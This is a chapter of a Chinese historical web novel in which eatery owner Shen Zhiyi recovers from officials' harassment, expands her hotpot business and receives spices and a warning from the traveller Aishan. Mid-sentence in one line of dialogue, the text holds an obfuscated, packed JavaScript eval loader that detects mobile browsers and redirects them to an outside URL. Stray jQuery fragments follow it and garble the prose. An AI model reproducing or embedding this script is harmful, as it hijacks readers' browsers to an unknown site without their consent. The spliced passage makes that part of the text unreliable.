王录事带着人灰溜溜撤走，围观的人群渐渐散去，只留下沈记食肆门前一地狼藉的雪水和几口空空如也的粥缸。


    沈知意站在棚下，寒风卷着雪沫扑打在脸上，她却感觉不到冷，只觉得后背一层冷汗被风一激，透心的凉。


    方才那一刻，若是苏晏清晚来半步，或是李府管家未曾恰好前来取粥，后果不堪设想。


    “六娘……没事了，没事了。”


    福伯颤巍巍地走过来，声音还带着后怕的哆嗦，老脸上满是劫后余生的庆幸。


    邹娘子更是腿软得几乎站不住，扶着案台，看着重新排起队、眼巴巴等着施粥的穷苦人，眼圈又红了，不知是吓的还是气的。


    大牛和栓子两个年轻小伙也是心有余悸，喘着粗气，警惕地瞪着市署吏员消失的街口，仿佛那些人还会杀个回马枪。


    “收拾一下，继续施粥。”


    沈知意深吸一口气，压下心头的惊悸与怒火，声音尽量平稳。


    “莫让真心来领粥的人寒了心。”


    她率先动手，将翻倒的条凳扶起，擦拭案台。


    众人见她如此，也纷纷定下神来，重新忙碌起来。


    热粥再次舀出，香气重新弥漫，领粥的人群渐渐恢复了秩序，只是气氛到底不如先前轻松，多了几分沉默与揣测。


    这一日的施粥，直到午后申时才勉强结束。


    带来的米豆耗尽，排队的人群方才渐渐散去。


    食肆内的生意也因这场风波受到了影响，午市比平日冷清了不少。


    打烊之后，几人围坐在尚有余温的灶台边，皆是疲惫不堪，沉默良久。


    “六娘……”福伯终于忍不住，声音沙哑地开口，“今日这事……分明是那张胖子和虎爷勾结王录事，故意来找茬！他们这是往死里逼我们啊！”


    邹娘子闻言，猛地一抖，紧紧搂住身旁昏昏欲睡的阿宝，脸上血色尽失。


    沈知意抿紧嘴唇，目光扫过众人惊惶不安的脸，心中那股压抑的怒火再次升腾。


    她知道福伯说得没错。对方一计不成，又生毒计，而且一次比一次狠辣，一次比一次明目张胆。


    腊八节当众构陷，这是要彻底毁了沈记的名声，让她永无翻身之日！


    “他们敢如此肆无忌惮，无非是欺我们无根无基。”


    沈知意声音低沉，却带着一股冷硬的决心。


    “但我们也不是任人拿捏的软柿子。今日他们没能得手，反而暴露了与市署胥吏勾结的底细。苏录事和李府那边，也等于是表明了态度。他们短期内，应当不敢再动用官面上的力量明目张胆地打压。”


    “可、可他们要是再来阴的呢？”


    邹娘子颤声问，眼中满是恐惧。


    “就像……就像对阿宝那样……”


    “所以，我们不能坐以待毙。”


    沈知意站起身，目光锐利。


    “我们要让他们知道，动我们，代价他们付不起！”


    如何让他们付不起代价？


    唯有变得更强，更有价值，更有依仗。


    接下来的日子，沈知意将全副精力都投入了食肆的经营和新品的打磨上。


    炭价依旧高昂，但“拨霞供”暖锅的生意却愈发火爆。


    这围炉而坐、自涮自食的吃法，因其新奇暖和又能自由搭配荤素，极受畏寒的食客欢迎。


    尤其是那些呼朋引伴而来的行商和小吏，往往一坐便是小半个时辰，连带酒水和其他小菜的销量也上去了。


    沈知意不断改良汤底，推出了麻辣、菌菇、番茄等多种口味，又增加了鱼片、鸡胗、鸭血、各式鲜蔬等涮品。甚至琢磨着将“胡麻髓饼”切成小块，放入锅中略煮，吸饱汤汁后别有一番风味。


    小小的泥炉暖锅，竟被她做出了花样百出的感觉，利润也颇为可观，有效缓解了炭贵的压力。


    与此同时，送往李府的每日羹汤也从未间断。


    沈知意更是用心，不时变换花样，今日是健脾养胃的山药薏米粥，明日是润燥止咳的银耳雪梨羹，后日又是安神补血的桂圆红枣茶……


    深得老夫人欢心，赏赐也越发丰厚。


    这条线，如今已是沈记食肆至关重要的护身符之一。


    她还暗中让福伯多加留意西市的人情往来，该打点的杂役小吏，绝不吝啬银钱，不求他们偏帮，只求在关键时刻能通风报信或秉公办理。


    市井之中，些许银钱开道，往往能省去许多麻烦。


    表面的平静之下，暗流依旧汹涌。


    张记蒸饼铺依旧门庭冷落，张胖子那张肥腻的脸上，阴郁之气日盛，偶尔瞥向沈记的眼神，怨毒得几乎要滴出水来。


    有两次打烊后，邹娘子慌慌张张地跑来，说似乎看到黑蝎子手下的人在巷口晃悠，虽未靠近，却足以让人心惊肉跳。


    阿努也悄悄来过两次，带来些零碎消息，说虎爷那边似乎因腊八失手折了面子，被对头嘲笑了几句，正憋着一股邪火，怕是还会有动作。


    沈知意心中警醒，知道对方绝不会善罢甘休。


    他们在等待，等待一个更好的时机，或者，在酝酿更毒辣的计策。


    这日午后，雪后初霁，阳光难得明媚。


    食肆内坐满了享用“拨霞供”的客人，几口泥炉炭火正旺，汤滚菜翻，香气四溢，气氛热闹驱散了冬日的寒意。


    沈知意正忙着为一位熟客调配新的蘸料，忽见店门口光线一暗，一个高大的身影挡住了阳光。


    她抬头望去，微微一怔。


    只见艾山站在门口，依旧是一身半旧胡服，风尘仆仆，眉宇间带着一丝远行归来的疲惫，浅褐色的眼眸扫过店内热闹的景象，最后落在她身上。


    “艾山大哥？”沈知意连忙净手迎上前，“您回来了？”


    艾山点点头，目光在她脸上停顿一瞬，声音依旧低沉平淡：“嗯。路过。生意不错。”


    “托您的福。”


    沈知意真心笑道，若不是他当日出手，阿宝之事不堪设想。


    “快


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459118|184455||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    请进来坐，喝碗热汤暖暖身子。”


    艾山并未推辞，迈步进来，在角落一张空桌旁坐下。


    他身形高大，气质冷峻，与这喧闹温暖的食肆显得有些格格不入，引来不少食客好奇的目光。


    沈知意亲自盛了一碗刚熬好的菌菇鸡汤，又切了一盘嫩羊肉片，调了一碟香辣的蘸料，一并送过去。


    “艾山大哥，尝尝小店新弄的暖锅。天冷，正好驱寒。”


    艾山看着面前翻滚着热气的汤锅和薄如蝉翼的肉片，眼中闪过一丝不易察觉的讶异，随即拿起筷子，依样涮了一片羊肉，蘸料送入口中。


    咀嚼片刻，他点了点头：“香。暖。”


    虽只两个字，但沈知意知他性子，这已是极高的评价了。


    她笑道：“您喜欢就好。”


    见他似有倦色，便不再多扰，自去忙了。


    艾山独自坐在角落，安静地吃着暖锅，速度不慢，动作却依旧带着一种奇异的沉稳。他吃得极为专注，仿佛周遭的喧闹都与他无关。


    直到他将锅中食材尽数吃完，汤也喝了大半，这才放下筷子。


    沈知意正要过去收拾，却见他起身走了过来。


    “多少银钱？”


    他问。


    “艾山大哥说哪里话，这顿我请。”沈知意连忙道。


    艾山却摇摇头，从怀中摸出一个小布包，放在案上，声音依旧平淡。


    “这个。抵饭钱。”


    沈知意一愣，打开布包，里面竟是几块色泽深褐、形状不规则、散发着浓郁奇异香气的块状物。


    她仔细一看，不由吃了一惊：“这是……香料？”


    “嗯。”


    艾山点头。


    “西边带来的。炖肉，好。”


    沈知意拿起一块闻了闻，那香气辛烈醇厚，带着一丝隐约的甜味和烟熏气，是她从未闻过的异域奇香。


    她心中一动，这莫非是……


    “多谢艾山大哥！”


    她连忙道谢，这绝对是珍贵之物。


    艾山摆摆手，不再多言，转身便朝店外走去。


    走到门口，他脚步微顿，侧过头，似乎随意地说了一句。


    “近日，莫去东市牲口市那边。”


    说完，他身影一闪，便融入门外街道的人流中，消失不见。


    沈知意捏着那几块奇异的香料，站在原地，心中却因他最后那句话掀起了波澜。


    莫去东市牲口市？那是虎爷势力盘踞之处。


    艾山突然归来，特意来店中，留下这珍贵香料，又突兀地留下这句警告……


    绝非偶然。


    他定是听到了什么风声。虎爷那边，恐怕真的要有什么大动作了。而且，极可能就与东市牲口市有关。


    沈知意的心猛地提了起来，方才因生意好转而生的些许轻松瞬间荡然无存。


    她快步走到门口，望向艾山消失的方向，街市熙攘，阳光正好，却仿佛有无形的寒意正从四面八方悄然围拢过来。